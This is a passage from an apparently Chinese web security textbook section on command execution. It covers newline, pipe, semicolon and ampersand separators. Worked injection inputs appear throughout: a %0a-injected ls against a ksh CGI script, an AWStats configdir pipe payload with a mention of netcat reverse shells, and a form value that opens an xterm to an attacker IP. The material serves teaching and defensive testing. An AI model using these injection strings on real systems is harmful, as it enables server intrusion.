6.4.11 命令执行

许多攻击只是造成信息泄露,如数据库列、应用源代码或者任意文件内容。命令执行是攻击的常见目标。因为命令行访问(或者等价的功能)很快地导致对Web服务器,可能还有局部网络上的其他系统的完全入侵。

换行符

换行符的16进制形式%0a,对于任意命令执行来说是一个有用的字符。在Unix系统上,较不安全的CGI脚本(如以Shell语言编写的脚本)将把换行符解释为执行新命令的指令。

例如,一个服务提供商的银行业务平台的管理界面以Korn Shell(ksh)编写。界面的一个功能是调用内部“分析”程序收集该服务提供商承接的几十个银行网站的统计数字。GET请求的形式为URL/analyze.sh?-t+24&-i。第一个测试是确定是否能向脚本传递任意的变量。果然,URL/analyze.sh?-h返回“分析”程序的帮助页面。下一步是命令执行:URL/analyze.sh?-t%0a/bin/ls%0a,返回服务器上的一个目录列表(使用ls命令)。这时,我们拥有了服务器上的命令行访问的等价权限。但是要记住,获得的访问权级别仅仅等价于赋予该Shell脚本的权限。

&、管道和分号

命令注入攻击中的重要技术之一是寻找命令分隔符的正确组合。Windows和基于Unix的系统都接受&、管道和分号的某种子集。

管道符号(|或者URL编码%7c)可以用于链接Unix和Windows命令。基于Perl的AWStats应用(http://awstats.sourceforge.net/)提供了命令执行中使用管道符号的一个好例子。6.5版本以下的AWStats在awstats.pl文件的configdir参数中容易遭到命令注入攻击。下面是攻击语法的一个实例:

http://website/awstats/awstats.pl?configdir=|command|

这里的command可以是任何Unix命令。例如,你可以下载并且执行攻击代码,或者使用netcat发送一个反向shell。管道符号对于awstats.pl文件中使用的Perl open()函数创建有效参数来说是必需的。

分号(;或者URL编码%3b)是Unix系统上最容易用于命令执行的字符。分号用于分隔一个命令行上的多条命令。&号(&或者URL编码%26)在Windows上的作用相同。因此,这个字符有时用来欺骗基于Unix的脚本。这种测试的执行方式是在域值后面附加分号,接着是所要运行的命令。例如:


command1; command2; command3

下一个示例说明了如何修改一个表单的下拉式菜单里的选项值导致命令执行。一般情况下,用户选择arcfiles.html页面中的一个菜单选项时,应用期望的是一个8位数字。这个页面本身没有漏洞,但是它的HTML表单向CGI程序view.sh发送POST数据。“.sh”后缀拉响了输入校验的警报,特别是命令执行,因为Unix shell脚本对于安全CGI程序来说大概是最糟糕的选择了。在用户浏览器中显示的HTML源代码中,一个选项值是这样的:


<option value = "24878478" > Acme Co.

表单方法是POST。我们可以设置一个类似Paros的代理工具,在POST请求到达服务器之前修改数据。但是,我们将该文件存储到本地计算机上,修改这一行来执行任意命令(攻击者的IP地址是10.0.0.42)。我们选择的命令是在自己的客户端上显示一个Web服务器的终端窗口。当然,客户端和服务器必须都支持X Window系统。我们制作了这个命令,并且在下载到本地计算机的arcfiles.html页面中设置了新值。


<option value = "24878478; xterm -display 10.0.0.42:0.0" > Acme Co.

接下来,我们打开本地电脑上的arcfiles.html副本,选择下拉式菜单里的“Acme Co.”。这个基于Unix的应用接收8位的选项值,将其传递给view.sh文件,但是参数还包含了一个分号。用Bourne shell编写的CGI脚本按照常规解析8位选项,然后转向字符串中的下一个命令。如果一切按照计划进行,控制台上弹出一个xterm窗口,你立刻得到了受害机器上的命令行访问权。

&号(&或者URL编码%26)也可用于执行命令。一般来说,这个字符用作URL上参数之间的分隔符。但是,利用简单的URL编码,&号可以在变量中提交。基于Shell的系统监控应用Big Brother曾经有过多个漏洞。Bugtraq ID 1779描述了&号引起的任意命令执行。